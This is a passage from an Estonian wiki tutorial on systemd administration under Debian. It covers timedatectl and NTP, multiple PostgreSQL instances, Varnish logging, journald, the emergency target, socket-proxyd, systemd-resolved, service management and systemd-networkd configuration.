   amavis-mc.service                    loaded active exited  LSB: Startup script for amavis master supervisor&lt;br /&gt;
   amavis.service                       loaded active running LSB: Starts amavisd-new mailfilter&lt;br /&gt;
&lt;br /&gt;
Tundub, et teenus saab olla mitmes olekus, üks variant teenuseid on sellised, mis arvuti käivitamisel nö korraks töötavad midagi sisse lülitades ja siis teevad exit, nt&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-units --type=service --state=exited&lt;br /&gt;
 UNIT                             LOAD   ACTIVE SUB    DESCRIPTION&lt;br /&gt;
 getty-static.service             loaded active exited getty on tty2-tty6 if dbus and logind are not available&lt;br /&gt;
 kbd.service                      loaded active exited LSB: Prepare console&lt;br /&gt;
 keymap.service                   loaded active exited LSB: Set keymap&lt;br /&gt;
 modules_dep.service              loaded active exited LSB: modules.dep creation.&lt;br /&gt;
 netfilter-persistent.service     loaded active exited netfilter persistent configuration&lt;br /&gt;
 networking.service               loaded active exited LSB: Raise network interfaces.&lt;br /&gt;
 quota.service                    loaded active exited Check And Enable File System Quotas&lt;br /&gt;
 rc-local.service                 loaded active exited /etc/rc.local Compatibility&lt;br /&gt;
 systemd-random-seed.service      loaded active exited Load/Save Random Seed&lt;br /&gt;
&lt;br /&gt;
===systemd-timedated===&lt;br /&gt;
&lt;br /&gt;
timedatectl programmiga saab seadistada ajavööndit jms&lt;br /&gt;
&lt;br /&gt;
 # timedatectl list-timezones&lt;br /&gt;
 # timedatectl set-timezone Europe/Tallinn&lt;br /&gt;
&lt;br /&gt;
systemd-timedated on ntp klient, mis tuleb kasutamiseks sisse lülitada&lt;br /&gt;
&lt;br /&gt;
 # timedatectl set-ntp true&lt;br /&gt;
&lt;br /&gt;
Tundub, et samaväärne on öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable systemd-timesyncd&lt;br /&gt;
 # systemctl start systemd-timesyncd&lt;br /&gt;
&lt;br /&gt;
Töötamissel annab timedatactl saranase vastuse&lt;br /&gt;
&lt;br /&gt;
 # timedatectl status&lt;br /&gt;
       Local time: Fri 2015-07-31 01:21:26 EEST&lt;br /&gt;
   Universal time: Thu 2015-07-30 22:21:26 UTC&lt;br /&gt;
         RTC time: Thu 2015-07-30 22:21:26&lt;br /&gt;
        Time zone: Europe/Tallinn (EEST, +0300)&lt;br /&gt;
      NTP enabled: yes&lt;br /&gt;
 NTP synchronized: no&lt;br /&gt;
  RTC in local TZ: no&lt;br /&gt;
       DST active: yes&lt;br /&gt;
  Last DST change: DST began at&lt;br /&gt;
                   Sun 2015-03-29 02:59:59 EET&lt;br /&gt;
                   Sun 2015-03-29 04:00:00 EEST&lt;br /&gt;
  Next DST change: DST ends (the clock jumps one hour backwards) at&lt;br /&gt;
                   Sun 2015-10-25 03:59:59 EEST&lt;br /&gt;
                   Sun 2015-10-25 03:00:00 EET&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* valitud ajavööndi Daylight Saving Time algus ja lõpp&lt;br /&gt;
* kas NTP teenust töötab (systemd-timesyncd)&lt;br /&gt;
&lt;br /&gt;
Spetsiifilise NTP serveri kasutamiseks sobib näidata ta seadistusfailis /etc/systemd/timesyncd.conf&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/timesyncd.conf&lt;br /&gt;
 [Time]&lt;br /&gt;
 Servers=10.192.0.53&lt;br /&gt;
&lt;br /&gt;
ja muudatuse kehtestamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl restart systemd-timesyncd&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
 # systemctl status systemd-timesyncd&lt;br /&gt;
 ● systemd-timesyncd.service - Network Time Synchronization&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/systemd-timesyncd.service; enabled)&lt;br /&gt;
    Active: active (running) since Fri 2015-07-31 09:13:18 EEST; 1min 43s ago&lt;br /&gt;
      Docs: man:systemd-timesyncd.service(8)&lt;br /&gt;
  Main PID: 1179 (systemd-timesyn)&lt;br /&gt;
    Status: &amp;quot;Using Time Server 10.192.0.53:123 (10.192.0.53).&amp;quot;&lt;br /&gt;
    CGroup: /system.slice/systemd-timesyncd.service&lt;br /&gt;
            └─1179 /lib/systemd/systemd-timesyncd&lt;br /&gt;
 &lt;br /&gt;
 Jul 31 09:13:17 postkast systemd-timesyncd[1179]: Using NTP server 10.192.0.53:123 (10.192.0.53).&lt;br /&gt;
 Jul 31 09:13:18 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 32s/+0.621s/0.000s/0.000s/+0ppm&lt;br /&gt;
 Jul 31 09:13:50 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 64s/+0.000s/0.000s/0.000s/+0ppm&lt;br /&gt;
 Jul 31 09:14:54 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 128s/-0.000s/0.000s/0.000s/+0ppm&lt;br /&gt;
&lt;br /&gt;
Taustal tegutseb lisaks systemd-timedated deemon, mis on static, st teda kutsutakse automaatselt vajadusel välja, st käivitatakse&lt;br /&gt;
&lt;br /&gt;
 # systemctl status systemd-timedated&lt;br /&gt;
 ● systemd-timedated.service - Time &amp;amp; Date Service&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/systemd-timedated.service; static)&lt;br /&gt;
    Active: inactive (dead)&lt;br /&gt;
      Docs: man:systemd-timedated.service(8)&lt;br /&gt;
            man:localtime(5)&lt;br /&gt;
            http://www.freedesktop.org/wiki/Software/systemd/timedated&lt;br /&gt;
&lt;br /&gt;
===Rakenduste kasutamine systemd keskkonnas===&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL kasutamine====&lt;br /&gt;
&lt;br /&gt;
Mitme PostgreSQL protsesside komplekti kasutamiseks sobib esmalt järgmise eksemplari osa failisüsteemis ettevalmistada nö tavalisel viisil&lt;br /&gt;
&lt;br /&gt;
 # pg_createcluster 9.4 test&lt;br /&gt;
&lt;br /&gt;
ning käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl start postgresql@9.4-test&lt;br /&gt;
&lt;br /&gt;
Mitme PostgreSQL protsesside komplekti kasutamine paistab sedasi&lt;br /&gt;
&lt;br /&gt;
 # ps -U postgres -o pid,user,cgroup:150,args&lt;br /&gt;
   PID USER     CGROUP                                                                           COMMAND&lt;br /&gt;
 10064 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service /usr/lib/postgresql/9.4/bin/postgres -D /va ...&lt;br /&gt;
 10070 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: checkpointer process&lt;br /&gt;
 10072 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: writer process   &lt;br /&gt;
 10074 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: wal writer process   &lt;br /&gt;
 10076 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: autovacuum launcher process   &lt;br /&gt;
 10078 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: stats collector process   &lt;br /&gt;
 &lt;br /&gt;
 10331 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service /usr/lib/postgresql/9.4/bin/postgres -D /var ...&lt;br /&gt;
 10333 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: checkpointer process   &lt;br /&gt;
 10334 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: writer process   &lt;br /&gt;
 10335 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: wal writer process   &lt;br /&gt;
 10336 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: autovacuum launcher process   &lt;br /&gt;
 10337 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: stats collector process &lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* erinevate PostgreSQL protsessi kompilektide protsessid on sama süsteemi kasutaja postgres omad, aga kuuluvad erinevatesse kerneli CGROUP'idesse&lt;br /&gt;
&lt;br /&gt;
Tapmiseks nö -9 signaaliga&lt;br /&gt;
&lt;br /&gt;
 # systemctl kill -s SIGKILL postgresql@9.4-test.service&lt;br /&gt;
&lt;br /&gt;
====Samba====&lt;br /&gt;
&lt;br /&gt;
Teenuste seiskamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop smbd&lt;br /&gt;
 # systemctl stop nmbd&lt;br /&gt;
&lt;br /&gt;
kontrolliks&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep mb&lt;br /&gt;
&lt;br /&gt;
AD kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl start samba-ad-dc&lt;br /&gt;
&lt;br /&gt;
====OpenVPN====&lt;br /&gt;
&lt;br /&gt;
Kui OpenVPN kliendi seadisus asub failis /etc/openvpn/client.conf, siis käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl start openvpn@client.service&lt;br /&gt;
&lt;br /&gt;
====Serial konsool====&lt;br /&gt;
&lt;br /&gt;
Serial konsooli käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable serial-getty@ttyS0.service&lt;br /&gt;
 Created symlink from /etc/systemd/system/getty.target.wants/serial-getty@ttyS0.service \&lt;br /&gt;
   to /lib/systemd/system/serial-getty@.service.&lt;br /&gt;
 &lt;br /&gt;
 # systemctl start serial-getty@ttyS0.service&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab ipmitool, cu, minicom jt programmide abil pöörduda serial konsooli poole.&lt;br /&gt;
&lt;br /&gt;
====NUT====&lt;br /&gt;
&lt;br /&gt;
Tundub, et töötab, nt&lt;br /&gt;
&lt;br /&gt;
 # systemctl status nut-server&lt;br /&gt;
 # systemctl status nut-client&lt;br /&gt;
&lt;br /&gt;
====iptables====&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.auul.pri.ee/wiki/Iptables_kasutamine_Debianiga#iptables-persistant&lt;br /&gt;
&lt;br /&gt;
====rsyslog====&lt;br /&gt;
&lt;br /&gt;
Peatamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop syslog.socket rsyslog.service&lt;br /&gt;
&lt;br /&gt;
vastasel korral tuleb sõnum sisse ja rsyslog teenus käivitatakse automaatselt.&lt;br /&gt;
&lt;br /&gt;
====Varnish====&lt;br /&gt;
&lt;br /&gt;
Kuulava pordi muutmine failis&lt;br /&gt;
&lt;br /&gt;
 # grep ^ExecS /lib/systemd/system/varnish.service &lt;br /&gt;
 ExecStart=/usr/sbin/varnishd -j unix,user=vcache -F -a :80 -T localhost:6082 -f /etc/varnish/default.vcl -S /etc/varnish/secret -s malloc,256m&lt;br /&gt;
&lt;br /&gt;
Logimisel X-Forwarded-For kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 # grep ^ExecS /lib/systemd/system/varnishncsa.service &lt;br /&gt;
 ExecStart=/usr/bin/varnishncsa -F '%%{X-Forwarded-For}i %%l %%u %%t \&amp;quot;%%r\&amp;quot; %%s %%b \&amp;quot;%%{Referer}i\&amp;quot; \&amp;quot;%%{User-agent}i\&amp;quot;' -a -w /var/log/varnish/varnishncsa.log&lt;br /&gt;
&lt;br /&gt;
Muudatuste kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
 # /etc/init.d/varnishncsa restart&lt;br /&gt;
 # /etc/init.d/varnish restart&lt;br /&gt;
&lt;br /&gt;
Logis on näha X-Forwarded-For päisest tulnud aadress ning tcp ühenduse teise otspunkti aadress&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# tail -f /var/log/varnish/varnishncsa.log&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
Systemd sisaldab logimise komponenti journald. &lt;br /&gt;
&lt;br /&gt;
====Süsteemi alglaadimine====&lt;br /&gt;
&lt;br /&gt;
Logimise haldusutiliit näitab vaikimisi kogu kogutud logi alates viimasest alglaadimisest, vanemad sissekanded eespool&lt;br /&gt;
&lt;br /&gt;
 # journalctl&lt;br /&gt;
 -- Logs begin at Mon 2015-07-27 23:03:45 EEST, end at Tue 2015-07-28 08:41:14 EEST. --&lt;br /&gt;
 Jul 27 23:03:45 systemd systemd-journal[171]: Runtime journal is using 4.0M (max allowed 9.3M, trying to leave 14.0M free of 89.7M available → current limit 9.3M).&lt;br /&gt;
 Jul 27 23:03:45 systemd systemd-journal[171]: Runtime journal is using 4.0M (max allowed 9.3M, trying to leave 14.0M free of 89.7M available → current limit 9.3M).&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpuset&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpu&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpuacct&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Linux version 4.0.0-2-amd64 (debian-kernel@lists.debian.org) (gcc version 4.9.3 (Debian 4.9.3-2) ) #1 SMP Debian 4.0.8-2 (2015-07-22)&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Command line: BOOT_IMAGE=/vmlinuz-4.0.0-2-amd64 root=/dev/mapper/systemd-root ro console=ttyS0,9600&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
journald töötamisest annab tunnistust protsess&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep journald&lt;br /&gt;
 ..&lt;br /&gt;
 root        172  0.1  1.0  35112  5208 ?        Ss   08:55   0:00 /lib/systemd/systemd-journald&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
Tundub, et vahel võib The Journal seisma jääda (nt saab failisüsteem täis vms), see paistab sedasi ja midagi ei logita (nt logger protsessiga)&lt;br /&gt;
&lt;br /&gt;
 Mar 28 03:37:01 keskus systemd-journal[29787]: Journal stopped&lt;br /&gt;
 -- Subject: The Journal has been stopped&lt;br /&gt;
 -- Defined-By: systemd&lt;br /&gt;
 -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-journald&lt;br /&gt;
&lt;br /&gt;
 # journalctl -xn&lt;br /&gt;
 ...&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Session 81008 of user root.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Started Session 81008 of user root.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Socket (/dev/log).&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Listening on Journal Socket (/dev/log).&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Socket.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Listening on Journal Socket.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Service...&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Started Journal Service.&lt;br /&gt;
 May 19 02:36:01 keskus systemd-journal[32447]: Journal started&lt;br /&gt;
 -- Subject: The Journal has been started&lt;br /&gt;
 -- Defined-By: systemd&lt;br /&gt;
 -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel&lt;br /&gt;
 --&lt;br /&gt;
 -- The system journal process has been starting up, opened the journal&lt;br /&gt;
 -- files for writing and is now ready to process requests.&lt;br /&gt;
&lt;br /&gt;
====Apache veebiserver====&lt;br /&gt;
&lt;br /&gt;
Kui Apache seadistusfailis on viga, siis see paistab journald juurest välja selline&lt;br /&gt;
&lt;br /&gt;
 # journalctl -u apache2&lt;br /&gt;
 ..&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: Starting LSB: Apache2 web server...&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Starting web server: apache2 failed!&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: The apache2 configtest failed. ... (warning).&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Output of config test was:&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: AH00526: Syntax error on line 1 of /etc/apache2/sites-enabled/000-default.conf:&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: &amp;lt;VirtualHost&amp;gt; directive missing closing '&amp;gt;'&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Action 'configtest' failed.&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: The Apache error log may have more information.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Control process exited, code=exited status=1&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: Failed to start LSB: Apache2 web server.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Unit entered failed state.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Failed with result 'exit-code'.&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* journald tegeleb apache2 protsessidega seotud nö süsteemse logiga, mitte http päringute logimisega&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://www.digitalocean.com/community/tutorials/how-to-use-journalctl-to-view-and-manipulate-systemd-logs&lt;br /&gt;
* http://0pointer.de/blog/projects/journalctl.html&lt;br /&gt;
&lt;br /&gt;
===targetite vahel liikumine===&lt;br /&gt;
&lt;br /&gt;
Nö init=/bin/bash keskkonda liikumiseks tuleb kasutada bootloaderis tuuma real parameetrit&lt;br /&gt;
&lt;br /&gt;
 systemd.unit=emergency.target&lt;br /&gt;
&lt;br /&gt;
tulemusena jõutakse (arvuti hostname on antud juhul systemd)&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 Welcome to Debian GNU/Linux stretch/sid!&lt;br /&gt;
 &lt;br /&gt;
 [260222.496889] systemd[1]: Set hostname to &amp;lt;systemd&amp;gt;.&lt;br /&gt;
 [  OK  ] Created slice Root Slice.&lt;br /&gt;
 [260223.089638] systemd[1]: Created slice Root Slice.&lt;br /&gt;
 [260223.096748] systemd[1]: Starting Root Slice.&lt;br /&gt;
 [  OK  ] Created slice System Slice.&lt;br /&gt;
 [260223.109289] systemd[1]: Created slice System Slice.&lt;br /&gt;
 [260223.115005] systemd[1]: Starting System Slice.&lt;br /&gt;
 [  OK  ] Started Emergency Shell.&lt;br /&gt;
 [260223.134133] systemd[1]: Started Emergency Shell.&lt;br /&gt;
 [260223.146296] systemd[1]: Starting Emergency Shell...&lt;br /&gt;
          Starting Emergency Shell...&lt;br /&gt;
 [  OK  ] Reached target Emergency Mode.&lt;br /&gt;
 [260223.192047] systemd[1]: Reached target Emergency Mode.&lt;br /&gt;
 [260223.205684] systemd[1]: Startup finished in 3.658s (kernel) + 967ms (userspace) = 4.626s.&lt;br /&gt;
 [260223.221455] systemd[1]: Starting Emergency Mode.&lt;br /&gt;
 [260223.232336] systemd[157]: emergency.service: Failed at step EXEC spawning /bin/plymouth: No such file or directory&lt;br /&gt;
 Welcome to emergency mode! After logging in, type &amp;quot;journalctl -xb&amp;quot; to view&lt;br /&gt;
 system logs, &amp;quot;systemctl reboot&amp;quot; to reboot, &amp;quot;systemctl default&amp;quot; or ^D to&lt;br /&gt;
 try again to boot into default mode.&lt;br /&gt;
 Give root password for maintenance&lt;br /&gt;
 (or press Control-D to continue): &amp;lt;root parool&amp;gt;&lt;br /&gt;
 root@systemd:~#&lt;br /&gt;
&lt;br /&gt;
Tavalisse nn multi-user režiimi jõudmiseks sobib öelda seejärel&lt;br /&gt;
&lt;br /&gt;
 # systemctl isolate multi-user.target&lt;br /&gt;
&lt;br /&gt;
Arvuti väljalülitamiseks sh toitest&lt;br /&gt;
&lt;br /&gt;
 # systemctl poweroff&lt;br /&gt;
&lt;br /&gt;
===systemd-socket-proxyd===&lt;br /&gt;
&lt;br /&gt;
systemd-ocket-proxyd võimaldab käivitada teenuse selle poole pöördumisel. Nt nginx protsessid käivitatakse port 80 poole pöördumisel. Selleks tuleb&lt;br /&gt;
&lt;br /&gt;
* seadistada nginx server kuulama port 8080&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/nginx/sites-available/default&lt;br /&gt;
 ..&lt;br /&gt;
 server {&lt;br /&gt;
        listen 8080 default_server;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* tekitada .service tüüpi unit (erinevalt man systemd-socket-proxyd soovitusest on JoinsNamespaceOf ja PrivateNetwork välja kommenteeritud ja lülitatud)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/system/proxy-to-nginx.service &lt;br /&gt;
 [Unit]&lt;br /&gt;
 Rquires=nginx.service&lt;br /&gt;
 After=nginx.service&lt;br /&gt;
 # JoinsNamespaceOf=nginx.service&lt;br /&gt;
&lt;br /&gt;
 [Service]&lt;br /&gt;
 ExecStart=/lib/systemd/systemd-socket-proxyd 127.0.0.1:8080&lt;br /&gt;
 PrivateTmp=yes&lt;br /&gt;
 PrivateNetwork=no&lt;br /&gt;
&lt;br /&gt;
* tekitada .socket tüüpi unit&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/system/proxy-to-nginx.socket &lt;br /&gt;
 [Socket]&lt;br /&gt;
 ListenStream=80&lt;br /&gt;
 &lt;br /&gt;
 [Install]&lt;br /&gt;
 WantedBy=sockets.target&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb sisse lülitada ja käivitada socket unit (nginx ise ega proxy-to-nginx.service ei pea töötama)&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable proxy-to-nginx.socket&lt;br /&gt;
 # systemctl start proxy-to-nginx.socket&lt;br /&gt;
&lt;br /&gt;
Tulemusena pöördudes aadressile http://127.0.0.1:80/ käivitatakse .service ja nginx protsessid.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://developer.atlassian.com/blog/2015/03/docker-systemd-socket-activation/&lt;br /&gt;
* man systemd-socket-proxyd&lt;br /&gt;
&lt;br /&gt;
===systemd-resolved===&lt;br /&gt;
&lt;br /&gt;
Paigaldada pakett libnss-resolve&lt;br /&gt;
&lt;br /&gt;
 # apt-get install libnss-resolve&lt;br /&gt;
&lt;br /&gt;
Kirjeldada meelepärane nö ISP nimeserver&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/resolved.conf&lt;br /&gt;
 &lt;br /&gt;
 [Resolve]&lt;br /&gt;
 DNS=10.192.0.53&lt;br /&gt;
&lt;br /&gt;
Lülitada sisse systemd-resolved&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-resolved&lt;br /&gt;
 # systemctl enable systemd-resolved&lt;br /&gt;
&lt;br /&gt;
Testida systemd-resolved rekursiivse nimeserveri töötamist&lt;br /&gt;
&lt;br /&gt;
 # /lib/systemd/systemd-resolve-host kuutorvaja.eenet.ee&lt;br /&gt;
 kuutorvaja.eenet.ee: 193.40.0.7&lt;br /&gt;
 &lt;br /&gt;
 -- Information acquired via protocol DNS in 157.3ms.&lt;br /&gt;
&lt;br /&gt;
Kustutada fail /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 # rm /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
Kasutada failis /etc/nsswitch.conf rida&lt;br /&gt;
&lt;br /&gt;
 hosts:          files resolve dns&lt;br /&gt;
&lt;br /&gt;
Soovi korral&lt;br /&gt;
&lt;br /&gt;
 # ln -fs /run/systemd/resolve/resolv.conf /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
Debugi sisselülitamine&lt;br /&gt;
&lt;br /&gt;
 # cp /lib/systemd/system/systemd-resolved.service /etc/systemd/system&lt;br /&gt;
&lt;br /&gt;
kus on sektsioonis Service lisatud debug&lt;br /&gt;
&lt;br /&gt;
 [Service]&lt;br /&gt;
 &lt;br /&gt;
 ..&lt;br /&gt;
 Environment=SYSTEMD_LOG_LEVEL=debug&lt;br /&gt;
&lt;br /&gt;
dns cache jms logisse kirjutamiseks&lt;br /&gt;
&lt;br /&gt;
 # kill -SIGUSR1 PID&lt;br /&gt;
&lt;br /&gt;
Tulemuse esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemd-resolve --status&lt;br /&gt;
&lt;br /&gt;
Logi jälgimine &lt;br /&gt;
&lt;br /&gt;
 # journalctl -f -u systemd-resolved&lt;br /&gt;
&lt;br /&gt;
===localectl===&lt;br /&gt;
&lt;br /&gt;
 # localectl list-locales&lt;br /&gt;
 C.UTF-8&lt;br /&gt;
 en_US.utf8&lt;br /&gt;
&lt;br /&gt;
===Service haldamine===&lt;br /&gt;
&lt;br /&gt;
Käivitamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl start apache2&lt;br /&gt;
&lt;br /&gt;
Oleku küsimine&lt;br /&gt;
&lt;br /&gt;
 # systemctl status apache2&lt;br /&gt;
&lt;br /&gt;
Seiskamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop apache2&lt;br /&gt;
&lt;br /&gt;
Väljalülitamine, st selliselt seadistatud teenust ei käivitata automaatselt (süsteemi alglaadimisel, mingi event esinemisel vms), aga käsitsi start abil saab käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl disable apache2&lt;br /&gt;
&lt;br /&gt;
Sisselülitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable apache2&lt;br /&gt;
&lt;br /&gt;
Maskeerimine, selliselt seadistatud teenust ei saa üldse käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl mask apache2&lt;br /&gt;
&lt;br /&gt;
Maskeerimise väljalülitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl unmask apache2&lt;br /&gt;
&lt;br /&gt;
Kõigi service'ite nimekirja küsimine (töötavate küsimiseks jätta -a ära; sarnaselt saab küsida target, socket, mount)&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-units --type service -a&lt;br /&gt;
&lt;br /&gt;
Kõigi failide nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-unit-files --type=service&lt;br /&gt;
&lt;br /&gt;
systemd seadistustes tehtud muudatuste esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemd-delta&lt;br /&gt;
&lt;br /&gt;
Sõltuvuste nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-dependencies sshd.service&lt;br /&gt;
&lt;br /&gt;
Teenuse omaduste esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl show sshd.service&lt;br /&gt;
&lt;br /&gt;
Unitite seadistusfailidega töötamiseks sobib öelda (vastavalt redigeeritakse /etc/systemd/system/nginx.service, /etc/systemd/system/nginx.service.d/failinimi või esitatakse faili sisu)&lt;br /&gt;
&lt;br /&gt;
 # systemctl edit --full nginx.service&lt;br /&gt;
 # systemctl edit nginx.service&lt;br /&gt;
 # systemctl cat nginx.service&lt;br /&gt;
&lt;br /&gt;
===systemd-networkd===&lt;br /&gt;
&lt;br /&gt;
systemd-networkd tegeleb võrgu seadistamisega. Nt nspawn konteinerile saab võrgu seadistada selliselt&lt;br /&gt;
&lt;br /&gt;
* seadistada konteinerit hostiva arvuti võrguühendus nt bridge-utils bridge abil&lt;br /&gt;
&lt;br /&gt;
* tekitada konteinerisse seadistusfail (kui arvutis on mitu võrguliidest, siis võiks iga liidese jaoks olla oma fail)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/network/50-static.network &lt;br /&gt;
 [Match]&lt;br /&gt;
 Name=host0&lt;br /&gt;
 &lt;br /&gt;
 [Network]&lt;br /&gt;
 Address=192.168.10.16/24&lt;br /&gt;
 Gateway=192.168.10.254&lt;br /&gt;
&lt;br /&gt;
* /etc/network/interfaces failis kirjeldada vaid lo seade&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/network/interfaces&lt;br /&gt;
 source /etc/network/interfaces.d/*&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
* võrgu käivitamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-networkd&lt;br /&gt;
&lt;br /&gt;
* ipv4 ja ipv6 aadressi seadistamiseks&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 [Network]&lt;br /&gt;
 Gateway=192.168.10.254&lt;br /&gt;
 &lt;br /&gt;
 [Address]&lt;br /&gt;
 Address=192.168.10.16/24&lt;br /&gt;
 &lt;br /&gt;
 [Address]&lt;br /&gt;
 Address=110:1/64&lt;br /&gt;
